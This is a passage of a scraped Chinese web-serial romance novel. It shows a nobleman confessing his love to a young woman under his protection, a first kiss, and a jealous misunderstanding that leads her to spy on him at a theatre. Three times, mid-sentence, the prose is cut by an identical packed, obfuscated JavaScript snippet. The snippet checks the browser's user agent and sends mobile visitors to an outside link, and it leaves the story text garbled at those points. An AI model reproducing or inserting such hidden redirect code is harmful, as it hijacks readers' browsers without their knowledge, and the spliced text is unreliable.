不管是柳净远还是别的男人,谁也别想将她从自己身边夺走。 回了寝房后,阮南枝趴在柔软的被褥上捧着自己红彤彤的小脸,忍不住回想起刚才发生的情景。 砚黎哥哥牵起了自己的手,放到了他的胸膛上…… 他还说了什么? 他想要说什么? “苍天可鉴,我心中仅有……” 男人字字落地的话语,再次清晰地浮现在女孩的脑海中。 心中仅有什么?该不会是要说……他心中仅有自己一人吧? 这个念头刚冒出来,欣喜若狂的阮南枝便害羞地把脸深深埋进褥子里,嘴角控制不住地向上扬,兴奋得在柔软的床榻上滚来滚去。 先前总是不敢相信,但此刻,她总算有点体会到巧杏先前说的。 他待她好像确实与待旁人是有些不一样。 20. 讨好 第二日醒来后,江砚黎已经不在了。因着今日是望日需要上朝的缘故,他一大早便进了宫。 按理来说,下朝的时间也该在午时前后。可此刻日头已过中天,甚至都要到了未时,他却还没回来。 阮南枝颦着柳眉,一副闷闷不乐的样子,坐在房间里,手肘支在案几边怔怔发呆。 柔情似水的眼眸中,满是怅惘,又掺了几分藏不住的盼念。 “巧杏,你说,世子哥哥为何现在还没回来啊……” 但想来,他既是都察院御史,要处理朝堂诸事,又是靖国公府的世子,府中大小事务亦需他过问。下了朝忙完这些,本该回自己的临渊府,或是归靖国公府才是正理。 她又算什么呢?江砚黎本就没有义务来景安苑看她。 从前,她只盼着世子哥哥能时不时来看她一眼,便觉心满意足。可昨日那片刻的贴近,那份从未有过的温存,竟让她变得贪得无厌起来。 如今,她竟荒唐地盼着,他下朝后抛开所有俗务,第一时间便来找她。 瞧着自家小姐蹙眉凝眸、魂不守舍的模样,巧杏深知她对世子的依恋,无计可施,也只能走上前轻声劝解:“小姐,望日朝本就是大朝,礼仪比日常单日朝繁冗得多。世子天不亮就入宫了,按规矩少说也要午时过后才能脱身,若是朝堂上遇上棘手的议事,耽搁到未时也不稀奇。” “您别太焦心,世子忙完了定会来看您的。” 闻言,阮南枝神色复杂地看了她一眼:“我知道……可我,有时候总是忍不住胡思乱想。” 说完后,恹恹不乐的女孩垂下脑袋,随着她的动作,鬓间的珠饰微晃,宝光华美。 “明明从前只觉得他已经帮我很多了,偶尔来瞧瞧我便好。如今,我也成了这样贪心的人,竟盼着他把我这儿,当成最要紧的去处。” 巧杏没尝过喜欢的滋味,不懂这份甜蜜又苦涩的牵挂本就是人之常情,只想着法子哄自家小姐开心。 她略一思忖,眼睛亮了亮,继续柔声安慰道:“小姐别多想了,不如……您再亲自为世子做份梅花糕?” “奴婢还记得,上次在阮府宴请世子,您亲手做的那盘梅花糕,世子可是很喜欢呢,还夸您手艺好!这会儿做着糕点,也能分分心呀。” 巧杏这建议简直说到了她的心坎上,原本面上的哀婉惆怅一扫而空,阮南枝“蹭”地站了起来,秀美的眸儿又水润又灵动。 “你说的对,快快让小厨房备好材料,我这就为世子哥哥再做一次梅花糕。” 或许是上次的经验记在了心底,又或许是如今的心意远比之前更为真切,这一次竟没半分差错,整个制作过程一气呵成,刚出炉的梅花糕氤氲着清甜香气,美味诱人。 花瓣形状规整,白糯的糕体上缀着点点梅红,瞧着就让人欢喜。 想着做糕打发这难捱的等待,正好,刚将梅花糕装盘摆好没过多久,江砚黎就回了景安苑。 男人方一踏入门口,阮南枝心头一跳,方才的怅惘与焦灼瞬间烟消云散,她立即快步迎了上去,满心满意都是藏不住的雀跃 “砚黎哥哥,你议事回来了?忙了一早上,是不是累坏了?” 女孩声音绵软诱人,对上那个笑意盈盈的眼睛,简直酥人心魄。江砚黎滚动的喉头间渗出畅快的低笑:“嗯。” “我给你做了份梅花糕,快来尝尝吧。” 听到阮南枝这么说,江砚黎难掩愉色,黝黑深邃的眼里满是说不清道不明的柔情。 先前他从未觉得,有人关心竟然是如此幸福的一件事情。他自幼便是不需父母操心的那类天之骄子,朝堂诸事于他而言,本就可以轻而易举地从容应对,并没有什么劳累的。 可人心终是有软的那一瞬间,此刻听着她软乎乎的关切,心底竟莫名漾开一丝陌生的暖意。 这是他从未有过的体验,平和,且安宁。 江砚黎拿起一块,送入嘴里,声音是难得的温和:“谢谢枝枝。” 梅花糕入口软糯清甜,梅香在舌尖化开,恰如她眼底的光亮般讨喜。 只是笑意未消,他又蹙起了眉头,语气带着几分不易察觉的可惜:“待会儿还有个宴会要出席,怕是陪不了你太久,今晚可能要晚点才能来看你了。” 说罢,目光落在她脸上,有些歉意。 说不失落是假的,粉光若腻的小脸上,欣喜之情淡了些,眼底掠过一丝转瞬即逝的伤心,却很快敛起,转而露出一抹温软的笑。 “没关系呀。”阮南枝摇了摇头,满是体谅,“砚黎□□日为朝堂诸事奔波,已经够辛苦了,我怎么还好意思影响你?你若是太忙,晚上便不用特意过来了,好好歇息才是要紧的。” 还怕他不安心似的,继续又补了句,“我在这里挺好的,你不必挂心。” 今日是真的忙,江砚黎陪着她吃完梅花糕,还未来得及多温存片刻,院门外便传来乌恪的声音,恭敬地提醒:“世子,时辰不早了,宴席那边已备好,该动身了。” 他闻言,淡淡应了一声:“知道了。” “那砚黎哥哥,你快去吧……” 燥热的空气中,不知为何,男人的眼神温柔得如此邪肆危险,让阮南枝更加乱了神儿,她心如鼓擂般地说着。 面容楚楚嫣然的美人,恋恋不舍地和他告别,江砚黎就这样静静看着她,最终也只能轻叹一口气,转身离去。 他总算明白了为何会有“从此君王不早朝”的说法,虽然自己并非君主,却也能共情那份沉溺的滋味。 想沉浸在这绕指柔情的温柔乡里,不愿抽身。 马车稳稳前行,车厢内静悄悄的。江砚黎端着茶杯,浅酌了一口清茶,冲淡口中残留的甜意。 乌恪坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16856442|190853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在外侧,瞧着这情形,终究忍不住开口:“世子,您素来不喜甜食,阮小姐虽是一片好意,但往后不如让属下悄悄提点她一句,免得白费了心思。” 他跟着江砚黎多年,再清楚不过自家世子的口味向来清淡,甜腻之物碰都不碰,却两次都将阮小姐做的梅花糕一口不剩地吃了个干净。 然而,座上之人显然不认同乌恪的提议,眸光凉凉地扫了他一眼,语气中透着不容置喙的威严:“不要多嘴。” “……是。”乌恪垂首应下,心里简直哭笑不得。 他早该想到的!自家世子对阮小姐的宠溺程度,别说是吃甜食了,阮小姐真有什么要求,世子也定然是有求必应。 自己这纯属多嘴,自讨没趣。 马车一路驶至赴宴的府邸。 江砚黎一出现,周遭的侍从纷纷侧目,恭敬地颔首行礼:“参见世子。” 新任户部郎中见他到场,立刻讨好地迎了上来,脸上堆着热络的笑容。 “世子大驾光临,令寒舍蓬荜生辉!下官刚从柳州府调任回京,久仰世子英名,今日终得一见,实在是下官的福气。” 这场宴会本是新任户部郎中特意置办的,他刚从西南柳州府晋升回京,深知京中立足不易,而靖国公世子江砚黎的分量举足轻重,便一心想借着这场宴席讨好结交。 他一边引着江砚黎往主位走,一边不停寒暄,余光还示意侍从将备好的厚礼悄悄奉上,显然是做足了功课,势要借着这场宴会,让江砚黎对自己留个好印象。 江砚黎入座了那个早已为他预留好的主位。 刚一落座,户部郎中便拍了拍手,谄媚地笑道:“世子一路辛苦,下官备了些薄艺,为世子助兴。” 话音刚落,厅内丝竹声响起,几名身着性感舞衣的美人款款步入场中。 身姿窈窕,裙摆翩跹,舞步轻盈似蝴蝶,眉眼间流转着柔媚风情,显然都是精心挑选的舞姬。 最中间的美人一身红裙露腰隐腿,容貌美丽,身材更是妖娆至极,甫一登场,在场的男子全都看呆了双眼。 户部郎中则满意地笑了,显然对其信心十足。 而后,她踩着舞步,款款蹀躞朝江砚黎这边走来。 曼妙惹人的走姿,纱裙微动,纤长的秀腿半遮半掩,蛮腰一摆,裙间的链子叮叮悦耳。 恰在这时,殿内的舞曲暂停了一瞬,女子凑得离江砚黎非常之近,随即矮身行礼,领口下滑,□□半显,看上去格外诱惑。 她红着脸开口:“参见世子,奴家是府中舞姬,仰慕世子风采许久,斗胆恳请世子垂怜,允奴家侍奉左右……” 这般妖娆绝色,但凡对美色有半分心动之人,怕是都难以拒绝。户部郎中在一旁满眼期待地望着江砚黎,心头暗喜着,这美人是他特意为世子寻来的,他不信有哪个男人能抵挡得住这等诱惑。 21. 告白 但,那俊美无俦的男人却只顾饮酒,连眼皮都未抬一下,半个眼神都没分给面前的惹火尤物。 得不到回应的舞姬既尴尬又不甘,她咬了咬下唇,像是下了什么决心一般,大胆地朝前走了一步,故作矫柔地就要往男人身上摔去。 然而,根本没有给她能触碰到自己的机会,在她近身的刹那,江砚黎微微侧过了身子,那舞姬扑了个空,重心失衡,径直摔在冰冷的地面上,发髻散乱,狼狈不堪。 “啊!” 直至女子的一声惨叫传来,他才缓缓放下手中的酒杯。 江砚黎笑了,喉间滚动的冷笑瘆人异常。 “郎中想要以这种方式讨好,却也不打听清楚本世子最讨厌什么?” 听闻此言,户部郎中吓了一大跳,心头猛地一沉。 讨厌什么? 他是从西南柳州府晋升来京的,确实不太清楚京城这些贵胄的喜恶,在地方上待了大半辈子,向来是靠着这一套讨好法门站稳脚跟。 每逢要打点上峰或是结交权贵,无非是备上价值连城的厚礼,再配上精心调教的美人。他找来的美人个个知情识趣,先前无论送予谁,哪怕是表面清高的官员,私下里也无不受用,这招他从未失过手。 此次调任来京,他虽早听闻靖国公世子出身顶级勋贵,眼高于天。可在他看来,再尊贵的世子终究也是男人,总需要有宣泄欲望的出口,找个女人泻火。 眼前这美人,容貌绝色,身段妖娆,又被调教得温顺听话,怜幸了也无需负任何责任,按理说该是来者不拒的绝品,怎么偏偏就触怒了这位世子? 望着座上尊贵不凡的男人似笑非笑、不为所动的神情,户部郎中冷汗涔涔,心知今日这讨好不仅没成,反而彻底搞砸,还把世子给惹恼了! “世子恕罪!是下官思虑不周,办错了事,还请世子大人有大量,莫要与下官一般见识!” 他慌忙跪地,颤抖的声音中是难掩的慌乱。 意识到自己坏了大人的好事,舞姬面色一白,顾不上摔倒的疼痛,连滚带爬地跪伏在地,声音抖得不成样子:“世子恕罪!奴家奴家一时糊涂,绝非有意冒犯,求世子饶命!” 江砚黎已然没了耐心,不欲多说,起身就要离开。 为官者,不思民生疾苦,不谋实绩建树,反倒将心思花在这等旁门左道上,用女色逢迎钻营。 若这就是此人的本事,那这户部郎中的位置,是该考虑换人了。今日之事,他会如实向陛下禀明。 上了马车。 江砚黎不住捏了捏发胀的眉心。 方才那红裙舞姬凑得极近,一股浓烈的脂粉香气直直钻入鼻腔,熏得他头疼。 心头的厌烦愈发浓烈。 好好的时辰,本可以留在景安苑陪着那个心心念念的小姑娘,却因为赴这种宴席,而占据了他的时间。 乌恪无需多问便知道,世子要回的是景安苑而非临渊府,当即吩咐车夫调转方向,往景安苑驶去。 毕竟那位,正在景安苑等着呢。 这边的阮南枝,此时正寻着一本书曲膝乜斜在美人榻上,细细读着。乌发如绸似水地在身后铺开,雪肤胜雪,单薄的寝衣将纤细曼妙的躯体勾勒得影影绰绰,让人移不开眼。 巧杏一向知晓自家小姐绝色无双,平日里也见得多了,可有时候,总还是忍不住看得出了神儿。 似有所觉的美人抬起头来,看见巧杏,弯了弯唇角:“巧杏,什么时辰了?” 这时候她才回过神来。 “回小姐,已经戌时四刻了。” 听闻这个时间,阮南枝怔了一下,没想到已经这么晚了。 “这么晚了,想来世子哥哥说今晚要来这儿,怕是也来不成了……” 阮南枝喃喃道,无力地靠住美人榻背,精致的脸蛋漂亮得如同脆弱的玉瓷娃娃,涣散的瞳孔氤氲着蒙蒙的水汽,飘渺无神。 她失落地把头埋进自己的手臂间,神情恹恹,愁思万种,却也无从说起。 “巧杏,我好像越来越喜欢世子哥哥了。” 闻言,巧杏无奈地笑了一下。 女孩这藏不住的相思之意,明眼人一看便知。她既欣慰小姐情窦初开,遇见了让她心动的人。 巧杏希望小姐能够幸福。 可又忍不住暗自担忧。世子身份尊贵,心思难测,自家小姐这般纯粹热烈,可千万别被辜负了去。 “小姐虽少见外男,可与柳公子也是青梅竹马一同长大的。您心思纯良,又是情窦初开,奴婢瞧着您对世子是满心欢喜,只是也怕您一时分不清心意……” “奴婢斗胆一问,您想想,您对柳公子和对世子是一样的吗?” 话音刚落,阮南枝想也没想,便毫不犹豫地回答:“当然不一样啦!” 女孩将杏眼瞪得圆圆的,神情认真,提高了声音急于辩解。 “净远哥哥于我而言,只是儿时玩伴。小时候,我虽把他当兄长般依赖,可我们已然多年未见,如今早生分了许多,我对他,也再没有从前那般亲近了。” “砚黎哥哥不一样……” 一想到那个清贵优雅的男子,阮南枝便无法控制地心跳加速,双颊桃腮霎时漫开一层匀净的红晕。 “自从第一次与他相见,他恍若神祇一般出现,救我于水火之中。便是那一眼,我的心脏便不受控制地为他跳动,再也停不下来。” “后来越与他相处,便越发觉得他完美得无可挑剔,仿佛无所不能一般……”女孩轻轻垂下头,眼睫像受惊的蝶翼般微微颤抖,粉光丽雪的脸上透着一层迷茫,以及一种难以言说的怅然,“他数次出手相助,于我、于爹爹都是莫大的恩情。可他待我越好,我便越清晰地察觉到,我与他之间隔着云泥之别,那么遥不可及。” “这般因一人喜,因一人忧,心情被牢牢牵动的滋味,我从前从未有过。” “我真的,很喜欢他。” 或许是绝境中有人撑腰、低谷时得人呵护的触动,江砚黎帮她、护她时的温柔,让她生出了一种被爱的错觉。 仿佛就算是她最狼狈不堪的模样,也能被他全然接纳,无需设防。 巧杏听着,不禁哑然。 小姐心思玲珑剔透,瞧着懵懂天真,但打心底,对于自己的情意认得极清,半分不含糊。 突然,门外响起了轻缓的叩门声,紧接着,那个意想不到而又十分熟悉的男声传来: “枝枝,休息了吗?” 原是江砚黎一路踏入院子,并未让下人通传,此刻已然来到了阮南枝的寝房门外。 方才还在口中念着的人忽地出现,阮南枝又惊又喜,她顾不上把鞋履穿好,只胡乱趿着快步奔到门边,匆匆拉开了门。 门一敞开,俊朗出众的男子便撞入她的眼帘,今日他穿的这一身银线飞鹤黑色衣裳,显得身材线条格外流畅健美。 不过不同寻常的是,阮南枝甫一凑近,便嗅到一缕清冽的淡淡酒味,想来他方才在宴席上是饮了酒的。 这酒味在他身上竟不觉粗浊,反倒与他周身清贵气息相融,衬得他眸色更为沉邃,还带着几分酒后的慵懒迷离之感,愈发令人心旌摇曳。 “砚黎哥哥,你饮酒了?”心跳阵阵的女孩红着耳根,话语间难掩关切。 “嗯。”江砚黎笑了笑,无所谓道,“是喝了一点。” 阮南枝连忙让巧杏去煮碗醒酒汤端过来,她可不想砚黎哥哥宿醉第二天头疼。 巧杏领命离去,这是阮南枝目前所住的寝房,照理来说男子不该入闺房,可是这宅子本就是江砚黎的,拦着让他在门口站着也不像话。 于是,面颊发烫的她,小声局促地说:“砚黎哥哥,你先进来坐坐吧。” 女孩的邀请,让江砚黎的眸色沉了沉,眼底掠过一丝不易察觉的笑意,面上却依旧是一派清贵模样。 他顺着她的话抬步进门,随后顺手将门带上。刚站定便微微蹙起了眉,修长的手指轻按在额角:“许是酒意上涌,有些头晕。” 话音未落,男人的身形微晃,顺势向阮南枝的方向倾了倾,手掌一把扣住女孩纤弱的肩头,白皙冠玉的面庞若有似无地挨着她那欺霜赛雪的脖颈,温热的气息裹挟着酒味,悄然拂过她的耳畔。 暗沉沉的目光地锁住阮南枝泛红的脸颊,像盯着猎物一般,不动声色地观察着她的反应。 阮南枝半点没察觉他的心机,只被这突如其来的贴近搅得方寸大乱,心脏几乎要蹦出嗓子眼。 她己经在心里慌乱地尖叫。 砚黎哥哥,竟然、竟然就这样抱住了她! 甚至,他的整个脸几乎都靠到了自己的颈间! 那滚烫的触感,让女孩浑身泛起一阵阵的战栗,一时之间竟不知道该如何行动。 好痒,又好羞涩,阮南枝忍不住瑟缩了一下,她慌忙扶住紧紧挨着她的男人,弱弱地娇声低嚅:“我,我扶你坐下歇息……” 扶他落座后,江砚黎却依旧没有松开自己的意思,阮南枝涨红了脸儿,但也没有说什么,也没有抗拒。 风娇水媚的眼睛含情脉脉,这怪甚娇媚的样子,让他看得心下一动。 恶劣过分的男人得寸进尺般地蹭了蹭女孩的雪颈,低笑出声,冷清的眸底情欲微暗。 “枝枝,昨日想要对你说的话语,还没说完便被打断了……” “你可知,我要说什么?” “你要说什么?”虽然阮南枝已经似乎隐约察觉到了他会说什么,但还是忍不住明知故问,想要得到他清晰准确的回答。 湿漉漉的潋滟眸子羞怯地盯着他,江砚黎松开了扣住她肩头的一只手,捧起莹嫩剔透的玉脸,持平的视线深深地凝视着她,哑着嗓子说: “阮南枝,我喜欢你。” 这句话落在耳畔,阮南枝浑身一震,像是被惊雷劈中,瞬间定在原地。 这是真的吗? 她怔怔地望着江砚黎,浓密乌黑的眼睫剧烈地颤动着,方才还在发烫的脸颊,此刻竟烧得更烈,连同脖颈、整个身子都漫上了一层薄绯。 不是在做梦。 心底的期待化作密密麻麻的欢喜之情,让同样心意相通的女孩鼻尖一酸,她张了张嘴,满腔的羞涩与甜蜜交织:“砚黎哥哥,我也喜欢你…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16866110|190853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 说完后,羞赧至极,根本不敢抬眼看他。 江砚黎淡笑,心情愉悦极了,五指紧扣住女孩纤细莹白的柔荑,而后漫不经心地将那只小手牵至自己的薄唇边,低头在她的手背落下一个轻如鸿毛的吻。 好香,好乖。 她真的可爱死了。 “枝枝,我好开心。” “既然枝枝与我心意相通,往后,便让我陪着你,日日相守,好不好?” 生得极具蛊惑力的眉眼,望过来时似含着万千情愫,只一眼便足以让人失了魂。这样致命温柔的他,眼中笑意沉沉,让阮南枝忍不住沉沦。 她还沉浸在巨大的喜悦之中,脑子嗡嗡的,还没来得及应声,江砚黎已然抬手。 长臂一揽,将其稳稳拢入怀中,顺势让她坐在自己腿上。隔着一层薄薄的寝衣,少女长得虽还稚嫩,但身躯已是玲珑曲线,娇躯生香,软若无骨。 “好……” 经不起挑逗的阮南枝整张小脸红得像熟透的蜜桃,仿佛能滴出血来。藕臂下意识环住他的脖颈,将滚烫的脸颊深深埋进他的肩窝,声音娇软闷闷:“我也很开心,砚黎哥哥。” 这世界上还有比自己喜欢的人也喜欢自己还令人高兴的事吗? 如玉修长的手指掐住了下颌,后脑也被沉沉按住,连一丝退避的余地都没有。只听见男人笑了一下,随后,那张俊美的脸朝自己压来。 阮南枝下意识张开小嘴,下一刻,陌生的舌尖不容抗拒地闯入。 男人的舌头湿湿热热的便塞满了她小小的檀口,最是亲密无间地卷住她的软舌辗转缠绕,扫过贝齿、舔过上颚, 初时的吻尚带着几分生涩,可亲着亲着,男人的本能就暴露了。 细细密密的吸嘬间,交合着两人的口涎,她开始受不住,弱弱地呜咽娇咛。 差点窒息的阮南枝大口吞咽着分泌的液体,脑中一片嗡鸣迷乱,只能被动吞咽着交融的津液。直到那股缠人的湿腻终于缓缓退开,她还愣在原地,眼神失焦,唇瓣泛着水润的光泽。 品尝了心心念念之人的樱唇后,江砚黎望着她怀中失神的模样,清俊得不似凡人的脸上,终于看着有些人情味了。薄唇侧的笑意极浓,眼底浮动着热切情欲,藏不住那份得逞后的愉悦。 门外忽然传来了脚步声,由远及近。 阮南枝心里咯噔一下,猛地意识到是巧杏带着醒酒汤回来了。 生怕巧杏撞见屋内亲昵的一幕,她一下子清醒过来,慌忙推开男人的胸膛,想要起身。 少女迅速果断的动作,惹得江砚黎一笑。 怎么感觉,她的枝枝这么无情?男人昳丽的唇角勾着,满是宠溺。 接过了巧杏手中的醒酒汤,阮南枝心虚地轻咳了一声:“巧杏,你先回去歇息吧,放心,我待会儿便睡了。” 虽然觉得自家小姐这幅样子有点奇怪,但巧杏拗不过她,也不知道刚才里面发生了什么,只好应声退下。 “快喝吧。”阮南枝将醒酒汤递给江砚黎,脸颊的绯红还没散尽,然而男人没接,只是抬眸看着她,乌黑深邃的眸子里笑意满溢。 “我要枝枝喂。” 声音低沉温和,让人心生顺从。女孩咬咬唇,没有拒绝,玉手纤纤舀起汤勺,递到了他的唇边。 温热的汤汁滑入喉间,江砚黎慢条斯理地喝着,对阮南枝的这份亲手照料受用得很。其实他本就是千杯不醉的酒量,宴上喝的那点酒根本不算什么,所谓的头晕,不过是想多些靠近女孩的由头,随口编造的小借口罢了。 此刻乖乖喂着男人醒酒汤的阮南枝,却突然嗅到了一股格外不和谐的香气。 对气味一向极为敏感的她,一下子就知道这股味道是女子胭脂水粉的甜腻香气,偏偏是从江砚黎的衣裳上飘出来的,仔细一闻,还十分浓烈馥郁。 刚才被他的告白搅得方寸大乱,意乱情迷,压根没有注意到。 可现在平静下来,又这般近距离地喂着他,那股陌生的香气便毫无遮挡地钻入鼻尖,清晰得不能再清晰。 为什么,他的身上会有别的女子的脂粉香? 绝不是偶然沾染的浅淡气息,分明是在宴会上同女子有过近距离的接触,才会缠上这样挥之不去的味道。 可他明明刚刚才对自己深情告白,说心意相通,要与自己日日相守……这脂粉香又算什么? 他对她,到底是不是真心的?难道方才的温柔缱绻、那些动人的情话,都只是一时兴起的玩笑? 无数个念头在阮南枝脑海里翻涌,本来在她的心里,江砚黎身份尊贵、容貌出众,引得无数女子倾心讨好,身边定然不少妾室通房。 像他这样的人,三妻四妾也是正常。 可是,谁愿意和其他人分享自己喜欢的人呢? 至少,她不愿。 越想心越沉,原本的甜蜜被酸涩取代,眼眶悄悄红了。 她好想问江砚黎这是怎么回事,可她根本不敢开口问。她怕,怕一追问,就戳破了那层美好的假象,怕听到他承认也和别的女子亲近的答案,致使刚刚才拥有的满心欢喜,转眼就变成泡影。 22. 误会 时刻关注着面前这个自己放在了心尖儿上的女孩,江砚黎自然是第一时间就感受到了她微妙的情绪变化。 刚想开口询问,阮南枝就已经颓靡地放下了碗勺,闷闷不乐地说:“你自己喝吧。” 这是怎么了? 江砚黎心头一沉,微微眯起眼睛,不明白前一刻还红着脸的小姑娘,怎么转眼就变得这样恹恹避之不及? 她后悔方才答应自己的心意,后悔和自己亲近了? 是自己哪里做得不妥,惹她不快了?还是亲昵举动让她觉得唐突,心生抵触? “怎么了?”江砚黎问出声。 敛了笑意的他,面色平静得吓人。 “没什么……我只是有些累了。”心里委屈的小姑娘不想说话,她要是一张口,绝对会忍不住哭出来。 然而她这幅样子,落在面前之人的眼里,却像极了她不愿意搭理他。 根本没有料想到一切的根源竟是那舞姬大胆靠近时沾上的些许脂粉气息,也不知道在女孩心中,他竟是那种流连花丛的风流多情之人。 突生的变故让男人不悦地皱起了眉头。 阮南枝这般若即若离的态度,让一向运筹帷幄的他,第一次生出了些许脱离把控的烦躁与茫然。 本是尊贵非凡,众人趋之若鹜的男人,向来都是被别人讨好着的对象。 如何去喜欢一个人,是他从未学过,也未实践过的一件事情。 没人能懂此刻的他内心有多无措,江砚黎最终没说什么,叹了一口气,抬手揉了揉女孩柔软蓬松的发顶,淡淡道: “既然你累了,那我就先回偏房了。早点休息。” * 第二日早晨。 不知道发生了什么的巧杏,只觉得在用膳的时候,小姐和世子之间的氛围怪怪的。 往日里两人相处的时候格外和谐,可今日不同,明明坐在同一张桌旁,却隔着说不清道不明的疏离。 巧杏实在想不明白,昨晚还好好的,怎么一夜之间,这氛围就诡异得让人不敢大声说话了? “慢用。” 江砚黎慢条斯理地放下筷箸,优雅擦拭着唇边时,睨了一眼为了躲避他的目光而几乎要把头埋进碗里的女孩,无语默了一瞬。 就这么不想看见他? “今日我有点事需要出去,就不能陪枝枝了。”既然她这般不想见到他,那他还是暂时离开吧。 “嗯,砚黎哥哥再见……”阮南枝垂着眼,含糊地应了一句,内心却是松了一口气。 她确实有点难以面对江砚黎。 既还是难以控制地为他心动,又无法接受他与别人接近,情动是真的,委屈也不是假,矛盾的感受让她无处遁形。 一旦有了这些她无法解决的复杂感受,只会想要躲避。 问题出在自己身上,而非真的不想见到男人,所以哪怕江砚黎离开以后,独留在景安苑的阮南枝捧着一本书,还是一个字也读不下去。 善于察言观色的巧杏,约莫猜得出来自家小姐为何又闷闷不乐,除了和世子相关的事,小姐从不会为旁人这般愁眉不展。 可小姐既没半分要和她诉说的意思,她身为奴婢,自然不好多嘴追问,只能暗自琢磨着法子逗她开心。 “小姐,您瞧这几日天朗气清的,不如出去散散心?” 巧杏凑到阮南枝跟前,小声提议:“听闻城东那家戏楼特意请了江南来的名角儿,排了出新编的戏曲!唱词又柔又俏,许多人都赶着去看呢,咱们也去凑个热闹好不好?” “可……” 一弯柳眉微颦的美人犹有疑虑,自从搬入景安苑后,阮南枝便打心底里不乐意出门。 父亲的冤情明面上并未洗脱,如今她虽靠着江砚黎的庇护有了安身之处,但仍是旁人眼中的罪臣之女。 若是贸然出去,万一撞上往日相识,或是那些爱嚼舌根的人,免不了要被问东问西,说不定还会惹来无端的是非与麻烦,倒不如安安分分待在苑中清净。 玲珑心思的巧杏深谙自家小姐的担忧,她早已连这一点也想妥当了:“小姐若是担心,戴上帏帽便好了,戏楼二楼设有雅间,咱们到时可以居于其内,这样既可以看清楚楼下的表演,又可避人耳目,不致被旁人窥见。” 被她说动了,阮南枝当即就决定前往戏楼看戏。 不多时,马车停在戏楼前,巧杏先下车扶稳梯凳,戴着轻纱帏帽的阮南枝款步踏下马车,由巧杏引着拾级而上。 楼内丝竹管弦之声传来,小二见来人身姿绰约,气度不凡,连忙引着她们往二楼雅间去。 推开门,阮南枝摘下帏帽置于案上,在窗前软榻坐下,抬眼便能透过雕花木栏,将楼下戏台全貌尽收眼底,此时戏楼内已热闹初显。 可就在此时,一身绯袍、身姿清雅的男人赫然出现在楼下。 只一眼扫过去,阮南枝的视线便被凝住了一般,再也移不开。 原因无他,只因为那个男子身着的衣裳,竟和今早江砚黎所穿的一模一样。 待男子微微转过身来,那冷峻的白皙面庞,昳丽俊美的眉眼……分明就是江砚黎本人! 一旁的巧杏也顺着她的一动不动的视线望去,瞧见了楼下之人,大惊失色:“这不是江世子吗?” 紧接着,便见他身侧亦步亦趋跟着个女子,一身藕荷色衣裙衬得她身材窈窕。不知江砚黎说了句什么,那女子竟带着几分娇嗔,抬手轻轻捶了他肩头一下,两人姿态亲昵,瞧着熟稔得很。 望着那一幕,阮南枝的心口像被什么堵住一般,疼得说不出话来。 等看清那女子温婉俏丽的面容时,她更是惊得愣在原地,脑中已然是一片空白。 江砚黎身旁的女子…… 居然是明微姐姐?! 屈指算来,自明微姐姐远赴蓟县,也已过了一个月有余,想来是祭祖之事了结,已经回京了。 可砚黎哥哥早上分明说过,今日有事情出门,不便相陪。 为何此刻会与明微姐姐一同出现在此处? 莫非他口中的有事情,便是陪明微姐姐来看戏? 明微姐姐分明和她说过的,她喜欢的是太子殿下呀。 但他们二人究竟是何关系,竟亲昵到这般地步? 一连串的疑问在阮南枝心头翻涌不休,扰得她心绪大乱。未等她理出半分思绪,便见二人离了一楼,走上二楼,一同进了一个单间。 台上的好戏已经开场,伶人婉转的唱腔萦绕耳畔,可阮南枝依旧怔立在原地,一点儿也听不进去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870464|190853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她并非心存争抢之意,更不会为了一个男子而对明微姐姐生出半分敌意,哪怕这个男子是江砚黎。 只是心中有太多疑问,实在想不明白。 平心而论,二人郎才女貌,站在一处端的是天造地设的一对。明微姐姐待她素来亲厚,江砚黎亦是屡次相助的恩人。 若他们当真情投意合,最终成了眷属……阮南枝虽然非常难过,却也会真心实意地为他们祝福。 另一厢雅间内,江砚黎与明微浑然未觉邻间动静,更不知方才那番情形已落入阮南枝眼中,只当不过是寻常一日听戏罢了。 “无事不登三宝殿,想不到无所不能的靖国公世子,也有找本小姐帮忙的一天?”明微端起茶杯抿了一口,瞥眼看向身旁神情淡淡的男子,语气里带着几分揶揄。 “这不是见表姐祭祖辛劳吗,此番回京,特意邀你听戏解闷,略表关心罢了。”皮笑肉不笑的江砚黎,看起来阴测测的,直吓得明微胳膊上起了一层鸡皮疙瘩。 “少来。”明微轻哼一声,显然不吃这心思叵测表弟的这一套,“又是请我听戏,又是送我那些奇珍异宝的,你何时这般好心过?” “说吧,到底要我帮你什么?” 终究是血脉相连的表亲,又一同长大,情谊本就不同寻常。明微对江砚黎那点敌意,不过是气自己聪明伶俐,却偏生斗不过这心思深沉的表弟。 